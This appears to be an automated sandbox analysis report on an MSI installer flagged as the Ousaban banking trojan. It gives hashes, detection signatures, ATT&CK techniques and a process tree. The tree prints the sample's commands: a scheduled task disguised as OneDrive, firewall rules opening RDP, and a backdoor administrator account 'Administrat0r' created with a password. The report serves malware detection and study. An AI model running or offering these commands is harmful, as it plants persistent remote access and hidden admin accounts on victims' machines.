57675d518613f20edc235c2975eadba7aa15d19aa460df03b443c99cff0d26d1

Analysis

max time kernel
100s
max time network
98s
platform
windows7_x64
resource
win7-en-20211208
submitted
23/12/2021, 10:51

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General

Target

seucartao0021 0iictl3q h6ozq5.msi
Size

4.0MB
MD5

04573ca4c50c5c352ec0859d6a14953a
SHA1

1a6780e61a658511f141fa8305ed9a9f318f5518
SHA256

57675d518613f20edc235c2975eadba7aa15d19aa460df03b443c99cff0d26d1
SHA512

d2ac8b26969f25b9c4da413a54118bcfc181dd2bffdabc771119fb5837825d560807862ea4a75f0985b0e2c261d9678fc18a4975bb8c24399e5e248362d9664d

Score

10^/10

evasion persistence suricata

Malware Config

Signatures

suricata: ET MALWARE Ousaban Banker Checkin M1
suricata: ET MALWARE Ousaban Banker Checkin M1
suricata
suricata: ET MALWARE Ousaban Banker Checkin M2
suricata: ET MALWARE Ousaban Banker Checkin M2
suricata
suricata: ET MALWARE Ousaban Banker KeepAlive
suricata: ET MALWARE Ousaban Banker KeepAlive
suricata
suricata: ET MALWARE Ousaban Banker KeepAlive Response
suricata: ET MALWARE Ousaban Banker KeepAlive Response
suricata
suricata: ET MALWARE Ousaban Banker Server Response M1
suricata: ET MALWARE Ousaban Banker Server Response M1
suricata
suricata: ET MALWARE Ousaban Banker Server Response M2
suricata: ET MALWARE Ousaban Banker Server Response M2
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	560	MsiExec.exe
4	560	MsiExec.exe

Executes dropped EXE 2 IoCs

pid	Process
1668	JprZmiySPgWs.exe
604	IBGDDHhfx.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XQzoAxVaXeEv.lnk	MsiExec.exe

Loads dropped DLL 23 IoCs

pid	Process
560	MsiExec.exe
560	MsiExec.exe
560	MsiExec.exe
560	MsiExec.exe
1668	JprZmiySPgWs.exe
560	MsiExec.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
1668	JprZmiySPgWs.exe
604	IBGDDHhfx.exe
604	IBGDDHhfx.exe
604	IBGDDHhfx.exe
604	IBGDDHhfx.exe
604	IBGDDHhfx.exe
604	IBGDDHhfx.exe
1948	Process not Found

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	IBGDDHhfx.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Terminal Service 23122021\rdpwrap.ini	IBGDDHhfx.exe
File created	C:\Program Files\Terminal Service 23122021\rdpwrap.dll	IBGDDHhfx.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\Installer\f75a296.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA537.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\f75a298.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF731.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\f75a296.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA332.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA4F7.tmp	msiexec.exe
File created	C:\Windows\Installer\f75a298.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF634.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
856	schtasks.exe

Runs net.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1812	msiexec.exe
1812	msiexec.exe
1668	JprZmiySPgWs.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
1948	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1628	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1628	msiexec.exe
Token: SeRestorePrivilege	1812	msiexec.exe
Token: SeTakeOwnershipPrivilege	1812	msiexec.exe
Token: SeSecurityPrivilege	1812	msiexec.exe
Token: SeCreateTokenPrivilege	1628	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1628	msiexec.exe
Token: SeLockMemoryPrivilege	1628	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1628	msiexec.exe
Token: SeMachineAccountPrivilege	1628	msiexec.exe
Token: SeTcbPrivilege	1628	msiexec.exe
Token: SeSecurityPrivilege	1628	msiexec.exe
Token: SeTakeOwnershipPrivilege	1628	msiexec.exe
Token: SeLoadDriverPrivilege	1628	msiexec.exe
Token: SeSystemProfilePrivilege	1628	msiexec.exe
Token: SeSystemtimePrivilege	1628	msiexec.exe
Token: SeProfSingleProcessPrivilege	1628	msiexec.exe
Token: SeIncBasePriorityPrivilege	1628	msiexec.exe
Token: SeCreatePagefilePrivilege	1628	msiexec.exe
Token: SeCreatePermanentPrivilege	1628	msiexec.exe
Token: SeBackupPrivilege	1628	msiexec.exe
Token: SeRestorePrivilege	1628	msiexec.exe
Token: SeShutdownPrivilege	1628	msiexec.exe
Token: SeDebugPrivilege	1628	msiexec.exe
Token: SeAuditPrivilege	1628	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1628	msiexec.exe
Token: SeChangeNotifyPrivilege	1628	msiexec.exe
Token: SeRemoteShutdownPrivilege	1628	msiexec.exe
Token: SeUndockPrivilege	1628	msiexec.exe
Token: SeSyncAgentPrivilege	1628	msiexec.exe
Token: SeEnableDelegationPrivilege	1628	msiexec.exe
Token: SeManageVolumePrivilege	1628	msiexec.exe
Token: SeImpersonatePrivilege	1628	msiexec.exe
Token: SeCreateGlobalPrivilege	1628	msiexec.exe
Token: SeRestorePrivilege	1812	msiexec.exe
Token: SeTakeOwnershipPrivilege	1812	msiexec.exe
Token: SeRestorePrivilege	1812	msiexec.exe
Token: SeTakeOwnershipPrivilege	1812	msiexec.exe
Token: SeRestorePrivilege	1812	msiexec.exe
Token: SeTakeOwnershipPrivilege	1812	msiexec.exe
Token: SeRestorePrivilege	1812	msiexec.exe
Token: SeTakeOwnershipPrivilege	1812	msiexec.exe
Token: SeIncreaseQuotaPrivilege	672	WMIC.exe
Token: SeSecurityPrivilege	672	WMIC.exe
Token: SeTakeOwnershipPrivilege	672	WMIC.exe
Token: SeLoadDriverPrivilege	672	WMIC.exe
Token: SeSystemProfilePrivilege	672	WMIC.exe
Token: SeSystemtimePrivilege	672	WMIC.exe
Token: SeProfSingleProcessPrivilege	672	WMIC.exe
Token: SeIncBasePriorityPrivilege	672	WMIC.exe
Token: SeCreatePagefilePrivilege	672	WMIC.exe
Token: SeBackupPrivilege	672	WMIC.exe
Token: SeRestorePrivilege	672	WMIC.exe
Token: SeShutdownPrivilege	672	WMIC.exe
Token: SeDebugPrivilege	672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	672	WMIC.exe
Token: SeRemoteShutdownPrivilege	672	WMIC.exe
Token: SeUndockPrivilege	672	WMIC.exe
Token: SeManageVolumePrivilege	672	WMIC.exe
Token: 33	672	WMIC.exe
Token: 34	672	WMIC.exe
Token: 35	672	WMIC.exe
Token: SeRestorePrivilege	1812	msiexec.exe
Token: SeTakeOwnershipPrivilege	1812	msiexec.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1628	msiexec.exe
560	MsiExec.exe
1628	msiexec.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 560	1812	msiexec.exe	28
PID 1812 wrote to memory of 560	1812	msiexec.exe	28
PID 1812 wrote to memory of 560	1812	msiexec.exe	28
PID 1812 wrote to memory of 560	1812	msiexec.exe	28
PID 1812 wrote to memory of 560	1812	msiexec.exe	28
PID 1812 wrote to memory of 560	1812	msiexec.exe	28
PID 1812 wrote to memory of 560	1812	msiexec.exe	28
PID 560 wrote to memory of 672	560	MsiExec.exe	29
PID 560 wrote to memory of 672	560	MsiExec.exe	29
PID 560 wrote to memory of 672	560	MsiExec.exe	29
PID 560 wrote to memory of 672	560	MsiExec.exe	29
PID 1668 wrote to memory of 1584	1668	JprZmiySPgWs.exe	33
PID 1668 wrote to memory of 1584	1668	JprZmiySPgWs.exe	33
PID 1668 wrote to memory of 1584	1668	JprZmiySPgWs.exe	33
PID 1668 wrote to memory of 1584	1668	JprZmiySPgWs.exe	33
PID 1584 wrote to memory of 856	1584	cmd.exe	35
PID 1584 wrote to memory of 856	1584	cmd.exe	35
PID 1584 wrote to memory of 856	1584	cmd.exe	35
PID 1584 wrote to memory of 856	1584	cmd.exe	35
PID 1668 wrote to memory of 604	1668	JprZmiySPgWs.exe	36
PID 1668 wrote to memory of 604	1668	JprZmiySPgWs.exe	36
PID 1668 wrote to memory of 604	1668	JprZmiySPgWs.exe	36
PID 1668 wrote to memory of 604	1668	JprZmiySPgWs.exe	36
PID 604 wrote to memory of 1696	604	IBGDDHhfx.exe	38
PID 604 wrote to memory of 1696	604	IBGDDHhfx.exe	38
PID 604 wrote to memory of 1696	604	IBGDDHhfx.exe	38
PID 604 wrote to memory of 1696	604	IBGDDHhfx.exe	38
PID 604 wrote to memory of 1276	604	IBGDDHhfx.exe	42
PID 604 wrote to memory of 1276	604	IBGDDHhfx.exe	42
PID 604 wrote to memory of 1276	604	IBGDDHhfx.exe	42
PID 604 wrote to memory of 1276	604	IBGDDHhfx.exe	42
PID 604 wrote to memory of 1576	604	IBGDDHhfx.exe	44
PID 604 wrote to memory of 1576	604	IBGDDHhfx.exe	44
PID 604 wrote to memory of 1576	604	IBGDDHhfx.exe	44
PID 604 wrote to memory of 1576	604	IBGDDHhfx.exe	44
PID 1576 wrote to memory of 1760	1576	net.exe	46
PID 1576 wrote to memory of 1760	1576	net.exe	46
PID 1576 wrote to memory of 1760	1576	net.exe	46
PID 604 wrote to memory of 672	604	IBGDDHhfx.exe	47
PID 604 wrote to memory of 672	604	IBGDDHhfx.exe	47
PID 604 wrote to memory of 672	604	IBGDDHhfx.exe	47
PID 604 wrote to memory of 672	604	IBGDDHhfx.exe	47
PID 672 wrote to memory of 380	672	net.exe	49
PID 672 wrote to memory of 380	672	net.exe	49
PID 672 wrote to memory of 380	672	net.exe	49
PID 604 wrote to memory of 1292	604	IBGDDHhfx.exe	50
PID 604 wrote to memory of 1292	604	IBGDDHhfx.exe	50
PID 604 wrote to memory of 1292	604	IBGDDHhfx.exe	50
PID 604 wrote to memory of 1292	604	IBGDDHhfx.exe	50
PID 604 wrote to memory of 920	604	IBGDDHhfx.exe	52
PID 604 wrote to memory of 920	604	IBGDDHhfx.exe	52
PID 604 wrote to memory of 920	604	IBGDDHhfx.exe	52
PID 604 wrote to memory of 920	604	IBGDDHhfx.exe	52

C:\Windows\system32\msiexec.exe
msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\seucartao0021 0iictl3q h6ozq5.msi"
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1628

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A5519FA3DFDDF8DBC1A7271889AD20C1
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:560
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" process call create 'C:\Users\Admin\FGpchJGcNVnq\JprZmiySPgWs.exe'
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:672

C:\Users\Admin\FGpchJGcNVnq\JprZmiySPgWs.exe
C:\Users\Admin\FGpchJGcNVnq\JprZmiySPgWs.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /TN "OneDrive " /TR C:\\Users\Admin\FGpchJGcNVnq\JprZmiySPgWs.exe /SC minute /MO 2 /IT /RU %USERNAME%
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "OneDrive " /TR C:\\Users\Admin\FGpchJGcNVnq\JprZmiySPgWs.exe /SC minute /MO 2 /IT /RU Admin
    3⤵
    - Creates scheduled task(s)
    PID:856
- C:\Users\Admin\CtGel FWIN\IBGDDHhfx.exe
  "C:\Users\Admin\CtGel FWIN\IBGDDHhfx.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Modifies WinLogon
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:604
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    PID:1696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=udp localport=3389 profile=any action=allow
    3⤵
    PID:1276
- - C:\Windows\system32\net.exe
    net user Administrat0r "123mudar" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1576
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Administrat0r "123mudar" /add
      4⤵
      PID:1760
- - C:\Windows\system32\net.exe
    net localgroup Administradores Administrat0r /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:672
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administradores Administrat0r /add
      4⤵
      PID:380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    PID:1292
- - C:\Windows\System32\reg.exe
    C:\Windows\System32\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
    3⤵
    PID:920

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2012

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Winlogon Helper DLL

T1004

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/560-57-0x0000000075531000-0x0000000075533000-memory.dmp

Filesize
8KB

Download
memory/560-64-0x0000000001DB0000-0x0000000001DB1000-memory.dmp

Filesize
4KB

Download
memory/604-120-0x0000000074E00000-0x0000000074E28000-memory.dmp

Filesize
160KB

Download
memory/604-115-0x0000000074690000-0x000000007469C000-memory.dmp

Filesize
48KB

Download
memory/604-113-0x0000000074630000-0x0000000074687000-memory.dmp

Filesize
348KB

Download
memory/604-118-0x0000000000240000-0x0000000000243000-memory.dmp

Filesize
12KB

Download
memory/604-117-0x0000000075031000-0x0000000075035000-memory.dmp

Filesize
16KB

Download
memory/604-126-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/604-119-0x0000000000230000-0x0000000000234000-memory.dmp

Filesize
16KB

Download
memory/604-116-0x0000000000230000-0x000000000024C000-memory.dmp

Filesize
112KB

Download
memory/604-107-0x0000000000BF0000-0x0000000000F2E000-memory.dmp

Filesize
3.2MB

Download
memory/604-125-0x0000000000240000-0x0000000000244000-memory.dmp

Filesize
16KB

Download
memory/604-124-0x0000000003B31000-0x0000000003D8D000-memory.dmp

Filesize
2.4MB

Download
memory/1628-54-0x000007FEFC0E1000-0x000007FEFC0E3000-memory.dmp

Filesize
8KB

Download
memory/1668-93-0x0000000002C01000-0x0000000003087000-memory.dmp

Filesize
4.5MB

Download
memory/1668-89-0x0000000000870000-0x0000000000A47000-memory.dmp

Filesize
1.8MB

Download
memory/1668-94-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/1876-144-0x0000000002920000-0x0000000002921000-memory.dmp

Filesize
4KB

Download
memory/2012-142-0x00000000027C0000-0x00000000027C1000-memory.dmp

Filesize
4KB

Download